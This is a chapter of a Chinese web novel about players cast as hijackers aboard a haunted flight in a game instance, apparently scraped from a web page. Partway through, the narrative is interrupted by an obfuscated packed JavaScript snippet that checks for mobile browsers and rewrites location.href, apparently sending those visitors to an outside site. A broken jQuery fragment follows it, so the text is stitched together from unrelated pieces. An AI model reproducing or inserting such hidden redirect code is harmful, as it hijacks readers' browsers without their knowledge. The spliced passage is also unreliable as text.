7. 危险航班(五)
作品:《我靠一张卡拯救世界[无限]》 经济舱里的弥漫着一种诡异又和谐的气氛。
乍一眼看过去,除了乘客们都蹲在地上之外,一切都跟劫机前没什么区别。
劫匪在把鬼空姐带走后突然变得和善了起来,甚至会关心乘客蹲得累不累,白色羽绒服的女人说:“你们要是蹲累了,可以坐在地上,不知道还要多久呢~”
她可真是太贴心了!
如果不是用枪对着他们,他们真的会信。
时间在不停地流逝,飞机也在稳定飞行,可这三个劫匪却一点要干点什么的趋势都没有,甚至开始聊起闲天。
白色羽绒服的女人可能是无聊了,开始抓着能聊的人问话。
她先问左手边的皮肤略黑一些的那个男人:“磊哥,你全名叫什么呀?”
被叫做磊哥的男人沉默着没接话。
白色羽绒服也没纠缠,转头就问右手边的:“他不说,那你呢?”
右手边的倒是爽快,回视着她自信昂扬地说:“我叫陈松文,你呢?”
“我叫纪笙。”白色羽绒服甜甜一笑,“你们是怎么来这儿的呀?”
陈松文表情一滞。
纪笙看他小心翼翼地瞄了眼磊哥,而后对她摇摇头,拒绝的意味十分明显。
秘密任务!她懂的~
纪笙了然点头,没再继续问。
这时磊哥却说话了。
“我们从行动到现在多久了?”
纪笙下意识打开手机查看时间,屏幕上除了身份和群聊什么都没有,根本没法知道时间。
陈松文思考一两秒后说:“怎么着都有半个小时。”
“半个小时。”杜肖磊将举枪的手换了一只,腾出手从裤兜拿出手机,“这么久了,怎么还没显示任务完成?”
他语调一转,看向纪笙:“是不是你的方法行不通?”
纪笙无辜地眨眼:“我不知道。”
杜肖磊又一次沉默,他目光警惕地盯着纪笙:“你真是人?”
“我当然是人啦!”纪笙连忙为自己辩驳。
杜肖磊的眉头一拧,视线在她的脸上徘徊几秒后移开,自顾自地黑下脸思考着。
陈松文小声地跟纪笙说:“我们队长性格比较严肃,你别介意哈。”
纪笙:“没事。”
杜肖磊这么一提醒,纪笙也开始意识到事情不对劲。
如果从他们行动到现在有半个小时的话,加上前面起飞,四舍五入就是过去差不多一小时。
广播只说目的地是永生之地,可没说他们飞行过去要多久。
如果副本在这个地方做手脚,那他们就很有可能会无法抵达目的地,一直停留在飞行过程中。
先不说抵达的事,劫机任务迟迟不显示完成,那肯定有什么事情是他们没做的,才导致任务未能判定。
那到底是什么事呢……
劫机需要做的事情有哪些?纪笙开始在脑子里疯狂搜索看过的新闻和影视剧。
劫持控制飞机,他们已经完成了。除了驾驶舱,所有人员都被他们威胁控制到了一起,劫匪里的鬼也被控制住了。
之前她的推测是每一类身份都有鬼,但乘务组里的鬼同时也是劫匪里的鬼,这一点打乱了她的推测。
乘客里她看了一圈也没察觉到有不对劲的“人”,暂时定为没有。
那就还剩机动人员,已知机长是刘师傅,他肯定是人,除了他还有劫匪008和另一个人……
纪笙收回思绪,正想开口却看见左边那人严峻的神情,默默打消了问他的念头,转而去问右边的陈松文。
她喊了他一声,朝他招招手让他凑近些。
待他把耳朵凑近,纪笙压低了声音问他:“你们是不是去过驾驶舱?”
陈松文不知道她怎么突然这个,但还是点点头。
纪笙又问:“那你们有察觉出什么异常吗?”
陈松文没有立刻回答,似是在回想,片刻后他说:“有啊,一开始那个劫匪就是我们抓住的。”
“那除了他和机长,剩下那个人没有问题吗?”
陈松文听到这里,看向她的眼神变得有点奇怪,似乎很是不解。
纪笙还没品出他那眼神是什么意思,就听到他说:“剩下那个……是磊哥啊。”
“啊?”纪笙脑子一下没转过来。
陈松文看她不信,继续补充道:“对啊,磊哥是003,我是005。”
“我一睁眼发现自己在头等舱最前排,前面三步左右就是驾驶舱。一开始我并不知道磊哥在里面,是那个机长开门进去的时候,我透过门缝看见他了。”
“后来你在群里说要重新分配的时候,我听到驾驶舱里传来一些声响的声音,赶紧跑了过去。磊哥给我开的门,当时他们已经把机长绑好了,然后我俩就一起把008绑了,把机长放开了。”
太六了这一顿操作。
劫匪008必然想不到,这两人拿了狼人牌不去杀好人,反而搞内讧。
如果不是拿着枪,纪笙简直想给他俩鼓掌。
“后面我们听到商务舱有动静,就猫在门边守株待兔,把那俩也抓了,再后来你就进来了。”
听到这里,纪笙实在没忍住,用空出来的那只手朝他竖了个大拇指。
“太厉害了!多亏有你俩带飞,不然不知道得死多少人。”
磊哥站一旁全程听得一清二楚,亏这两人还以为自己说话很小声,他有点无语地睨了旁边两人一眼,清咳两声。
纪笙立刻收回手,正色站直,捡回了自己劫匪的人设包袱。
就在这时,身后传来“砰——”的一声。
三人同时回头,紧张地盯着厕所门,以为是那四个劫匪破门出来。
但是,厕所门依旧紧闭,门口的餐车也是刚才的位置。
不是厕所?那是……
刚才那道声响不是很大,如果不是厕所,那从距离判断,最有可能的是……
“驾驶舱!”杜肖磊和纪笙同时开口。
两人听到彼此的声音后,对视了一眼,他们从彼此的眼睛里看到同样的紧张,以及眼神里藏不住的一丝恐惧。
“一个人守在这里,另一个人跟我去看看。”杜肖磊不愧是警察,反应迅速而果断,“你们谁跟我去?”
陈松文理所当然地开口,正想说他去,却没想到被纪笙截了胡。
女生甜甜的声音中带了几分坚决:“我跟你去!”
杜肖磊的眼中闪过一丝惊讶,但他没接话,只是视线一移,落在她隔壁的陈松文身上,郑重地问他:“你一个人守这儿行吗?”
陈松文重重点头:“放心!”
正当这两人在特别兄弟情深地对视时,两人之间突然出现一只纤细白皙的手,伴随着手的主人略带迟疑地声音。
“那个……”
纪笙有点不好意思地说:“他可以不是一个人守这儿。”
“什么意思?”
纪笙高举的手悠悠放下,却在快到胸口时调转了方向指向人群的某一处,“那儿,还有一个我们的同伙。”
杜肖磊和陈松文顺着她手指的反向看去,指尖对着的地方,一个身穿道士服的男人正用手捂着嘴巴在打哈欠。
他周围的人纷纷往旁边挪了挪,把他空了出来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739555|157478||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见焦点突然转移到自己身上,那人愣住了,在众人的注视下默默把打了一半的哈欠憋了回去。
迎着他们的目光,穿道士服的男人咧开嘴,眼角含笑地跟他们打招呼:“嗨~”
陈松文好奇问道:“他是谁?”
一想到要说出那个代号,纪笙就莫名觉得有一丝羞耻,她尴尬地挠了挠脸。
然后她听见自己声音在机舱里响起。
“他是,007。”
“……”
直到她和杜肖磊走到驾驶舱门口,纪笙都还在为刚才感到社死。
等出了副本,她一定要找温清澜算账!
这人不仅坑她进副本,还害她当众社死啊啊啊——
纪笙都开始怀疑自己上辈子是不是欠他的。
“不太对劲。”杜肖磊把耳朵贴在门上听了一下,“里面有很大的风声。”
纪笙:“飞机不是密封的吗?怎么会有风声?”
杜肖磊的神色变得更冷了,越来越紧绷的脸色昭示着他的不安。
“先敲门看看吧,肯定是出事了。”纪笙紧盯着门,墨色的眼眸里满是紧张和担忧。
里面只有刘师傅一个人,要是出点什么事他肯定应付不来。
杜肖磊粗糙的大手重重拍在铁门上,随着他的拍打,铁门发出一阵又一阵的闷响,可里面的人浑然不觉似的,没有回应也没有开门。
杜肖磊眸色一沉,加快了拍门的频率,却依旧没有任何回应。
驾驶舱的门一旦从里面锁上,就没法从外面开启,只能是里面的人打开。
门后的风声越来越大,即便是与门隔了一个杜肖磊,纪笙渐渐也能听见那里面的声响。
“砰砰砰——”
杜肖磊敲门的声音愈发的重。
“砰砰砰——”
“怦怦怦——”
纪笙自己的心跳声与耳边的敲门声混杂在了一起,一时间她竟分不清哪一个的声音更大。
杜肖磊放弃了继续敲门,转而在一旁的乘务组休息处寻找起可用于开门的东西。
就在他走进隔间、蹲下拉开柜门的那一刻,驾驶舱的门竟然开了!
门开的瞬间,猛烈的风压迎面袭来。
纪笙毫无防备地被这股风吹飞了。
她只感觉自己是被一股无形却巨大的力量推着往后躺,她本身就轻,这么猛的风一吹,双脚根本站不住地面,直接腾空了。
下一秒,她的后背重重地砸在了头等舱连接商务舱的门帘上。
纪笙吃痛地哼出了声,后背是火辣辣的疼。
那个门帘很薄,她砸上去之后立刻裂出一大条缝。
猛烈的风由于狭管效应集中吹压着她的脸,纪笙几乎睁不开眼,脸颊被吹得一直在颤抖。
正当她缓了两秒,忍着痛想站直的时候,身后抵住她的门帘顶不住风的吹打,彻底破裂了。
纪笙没了门帘支撑后背,根本站不稳。
又被吹得往后摔去,她感觉自己像个橡皮人似的,感觉眼前的画面天旋地转,她用力抬起手护住自己的头,任由身体其他部位去磕碰过道两旁的桌椅。
“砰——”的一声。
庆幸的是这次砸到门帘的不是后背,但纪笙感觉自己像台球桌上用来发球的那颗白球,驾驶舱吹出来的风就像那根台球杆。
一杆进洞。
纪笙清晰地感知到自己撞穿门帘的时候,整个身体都在刺痛,她甚至差点被门帘卡住。
一时间她竟分不清,究竟是被门帘卡住丢脸,还是像个球一样滚进经济舱更丢脸。
纪笙悲痛地把自己抱得更紧了些。